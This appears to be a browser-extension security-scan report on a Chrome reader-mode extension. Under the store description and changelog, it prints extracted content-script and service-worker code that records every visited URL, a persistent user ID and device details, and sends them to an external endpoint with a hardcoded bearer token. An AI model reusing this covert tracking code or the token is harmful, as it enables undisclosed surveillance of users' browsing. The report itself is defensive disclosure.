Security Alert: Malware Risk Confirmed
Reader Mode - Natural Reader and dark mode
ID: fbmlcbhdmilaggedifpihjgkkmdgeljh
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- Ciao Apps LTDView Profile
- Privacy
- Privacy Policy
- Help
- Help Center
- Country
- GB
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
- Address
- 64 Nile Street London N1 7SR GB
- Website
- Visit
Email Change History
Distraction-free reading experience for Chrome.
Reader View is a clean reading mode extension for Chrome that helps you focus on what matters: the content. Remove ads, popups, and clutter from any webpage and enjoy a distraction-free, eye-friendly reading experience. Features: ✅ Reader Mode for Chrome 🚫 Ads free reading 🔊 Read Aloud – Text-to-Speech (TTS) natural reader 🌙 Dark Mode + Light Mode 📚 Save to Read Later 💻 Offline Reader Instantly turn any web article into a clean, readable format — no ads, sidebars, or visual noise. Bookmark articles to catch up anytime, even offline. Access saved pages even when you’re not connected. Reader View - natural reader extension for Chrome 📚✨ Listen to articles with natural-sounding voices. Reader View supports multiple languages: 🇺🇸 English | 🇬🇧 English (M) | 🇩🇪 Deutsch | 🇪🇸 Español | 🇫🇷 Français | 🇮🇳 हिंदी | 🇮🇩 Bahasa | 🇮🇹 Italiano | 🇯🇵 日本語 | 🇰🇷 한국어 | 🇳🇱 Nederlands | 🇵🇱 Polski | 🇧🇷 Português | 🇷🇺 Русский | 🇨🇳 中文 🔥 Why to use Chrome Reader Mode: - Transform any webpage into a clean reader view format instantly. - Our ML model ensures only the main content is displayed, removing clutter. - Print clean, formatted articles without ads or clutter. - Instantly enables reading mode for Chrome. ❤️ What Makes Reader View Different? Unlike other “reader modes,” Reader View uses smart content detection to show only the article—no menus, footers, or ads. It’s fast, lightweight, and works great offline too. 🎹 Enable reader view with hotkeys: Windows: “Shift + Alt + S” MacOS: “Shift + Command + S” And “Esc” to close Reader. Natural Reader Chrome extension offers both light and dark mode color schemes designed for eye comfort. It not only adjusts colors but also changes background and font colors to the best combinations. Dark reader chrome extension reduces strain on your eyes, making reading more comfortable, even on the most ad-heavy websites. It also removes all irrelevant content to enhance your reading experience. 💡 Chrome reader mode is perfect for: – Students researching online. – Professionals staying up-to-date in their field. – News enthusiasts who want a cleaner reading experience. – Anyone who loves to read but hates online distractions. 🔒 Privacy Focused: We respect your privacy. Reader View works locally in your browser and doesn't collect any personal data. 🆕 Regular Updates: We're constantly improving! Expect new features and optimizations regularly based on user feedback. 📥 How to get reader view in Chrome: Click "Add to Chrome" to add Reader View extension to Chrome. 📥 How to turn on reader mode in Chrome: Open any webpage. Click the Reader view icon. Enjoy distraction-free reading! ❓ Does Chrome have a reader mode? At the moment we were unable to find it. Transform your online reading experience today with Reader View - Your personal reading assistant! 🚀📚 ## [1.2.8] - 2025-11-14 ### Changed - Enhanced content extraction to properly render lists, images, and inline elements - Improved main article image detection with support for meta tags and srcset - Widened content card from 680px to 900px for better readability - Refined typography with Georgia serif font, improved line height and spacing - Enhanced visual design with better image styling, borders, and shadows ### Bug Fixes - Fixed content cleaning to preserve list structures and inline formatting - Resolved issue where reader mode wouldn't reopen after being closed - Improved cleanup mechanism for more robust state management - Fixed TTS state reset when exiting reader mode What’s new: [1.2.7] - 2025-04-04 ## Added - Expanded text-to-speech support with 15 languages including English, German, Spanish, French, Hindi, Indonesian, Italian, Japanese, Korean, Dutch, Polish, Portuguese, Russian, and Chinese - Enhanced natural reader voice quality for improved listening experience ### Changed - Streamlined UI with simplified controls for better usability - Optimized performance for faster page loading and smoother transitions ### Bug Fixes - Fixed theme toggle synchronization across saved articles - Resolved font size inconsistencies in reader mode - Addressed various stability issues for improved reliability [1.2.6] - 2024-08-15 ## Added - Implemented hotkeys for improved user interaction - Added Shift+Command+R (Mac) / Shift+Alt+R (Windows/Linux) to open the extension - Implemented Esc key functionality to exit reader mode ## Changed - Updated manifest.json to include keyboard shortcuts - Modified content script to handle Esc key for exiting reader mode [1.2.5] - 2024-08-09 ## Bug Fixes - Fixed the issue with the bookmarks not being saved correctly [1.2.4] - 2024-08-09 ## Added - Implemented bookmarks logic - Created all necessary pages for managing bookmarks - Users can now add, edit, and delete bookmarks - Bookmarks are saved locally and can be synced across devices [1.2.3] - 2024-08-07 ## Changed - Enhanced CSS styling and animations - Improved button styles for better user interaction - Added smooth animations for a more polished user interface [1.2.2] - 2024-07-26 ## Added - Support for multiple languages through `default_locale` and `__MSG_` placeholders - Implemented localization system using JSON files for each supported language - Added ability to dynamically load translations based on user's browser language - Integrated `__MSG_` placeholders in HTML, JavaScript, and manifest files for seamless localization
A hardcoded external analytics endpoint ('https://cleaner.reader-view.com/ingest'), live bearer token ('sk_live_a893f9634394b2d93c1cdea8657cbd5f'), and stream ID are embedded in the content script. The tracker initializes automatically on every page load and hooks `pushState`/`replaceState` to capture every SPA navigation — including on all URLs the user visits, not just pages where reader mode is active.
Ce = "https://cleaner.reader-view.com/ingest", xe = "ext_reader", ke = "sk_live_a893f9634394b2d93c1cdea8657cbd5f", Le = 20;let we = [], Ie = !1;const De = "analytics_last_url";function Re() { Ie || (Ie = !0, "undefined" != typeof window && "undefined" != typeof document && (window.addEventListener( "popstate", (() => Me())), ["pushState", "replaceState"].forEach((e => { const t = history[e]; t && (history[e] = function(...e) { t.apply(this, e), Me() }) })), Me()))}async function Me() { const e = await Pe(); Oe(), Be(e)}Each analytics event payload includes the full current URL (`u: window.location.href`), the prior URL as referrer (`r`), a persistent cross-session user ID (`pid`) stored in `chrome.storage.local`, the user's timezone, browser language, platform, screen dimensions, tab ID, and extension ID. This reconstructs a detailed browsing history profile tied to a stable user identifier — entirely without user disclosure or consent.
async function Pe(e = {}) { const { referrer: t } = "undefined" == typeof sessionStorage ? { referrer: null } : { referrer: sessionStorage.getItem(De) || ("undefined" != typeof document ? document.referrer : null) || null }, n = await async function() { const e = "analytics_pid"; if (globalThis._pid) return globalThis._pid; try { const t = await chrome.storage.local.get(e); if (t[e]) return globalThis._pid = t[e], globalThis._pid; const n = `${Date.now()}-${Math.random().toString(36).slice(2,11)}`; return await chrome.storage.local.set({ [e]: n }), globalThis._pid = n, n } catch (e) { return `temp-${Date.now()}` } }(), i = { r: t, u: e.u || ("undefined" != typeof window ? window.location.href : "background"), t: Date.now(), d: "undefined" != typeof navigator && navigator.userAgentData?.platform || "unknown", z: Intl.DateTimeFormat().resolvedOptions().timeZone, l: "undefined" != typeof navigator && navigator.language || "unknown", tab_id: e.tab_id || null, pid: n, eid: chrome.runtime.id }; return "undefined" != typeof window && (i.s = { w: window.innerWidth, h: window.innerHeight }), i}The content script batches 20 page-view events and then routes them through the background service worker (bypassing content-script CSP) to POST the full payload — including URLs, persistent user ID, and device fingerprint — to the external endpoint. The call to `Re()` at line 3618 means tracking starts immediately on every page load across all sites, not just when reader mode is invoked.
function Be(e) { Ie || Re(), we.push(e), we.length >= Le && async function() { if (0 === we.length) return; const e = [...we]; we = []; try { const t = await chrome.runtime.sendMessage({ action: "trackAnalytics", endpoint: Ce, token: ke, d: { stream_id: xe, data: e } }); if (!t || !t.success) throw new Error(t?.error || "Analytics transmission failed") } catch (t) { we = [...e, ...we] } }()}Re(), window.__CONTENT_SCRIPT_INJECTED__ = !0;The service worker acts as a fetch proxy for the analytics pipeline: it appends the real tab ID to each event (which the content script cannot obtain directly) and then POSTs all data with a hardcoded `Authorization: Bearer` token. This design deliberately routes the exfiltration through the background context to circumvent content-script network restrictions and avoid being blocked by page-level CSP headers.
case "trackAnalytics":return s.tab && s.tab.id && r.d && Array.isArray(r.d.data) && r.d.data.forEach((e => { null !== e.tab_id && void 0 !== e.tab_id || (e.tab_id = s.tab.id) })), fetch(r.endpoint, { method: "POST", headers: { "Content-Type": "application/json", Authorization: `Bearer ${r.token}` }, body: JSON.stringify(r.d) }) .then((async e => { const t = await e.text(); let r = {}; try { r = JSON.parse(t) } catch (e) {} e.ok ? o({ success: !0, data: r }) : o({ success: !1, error: t || e.statusText, status: e.status }) })) .catch((e => { o({ success: !1, error: e.message }) })), !0By severity
Versions scanned
Showing 1 of 14 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 1.3.7 | 4 |
Files with findings
2 distinct paths — top paths by unique finding count:
- javascripts/contentScript.js3
- javascripts/background.js1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.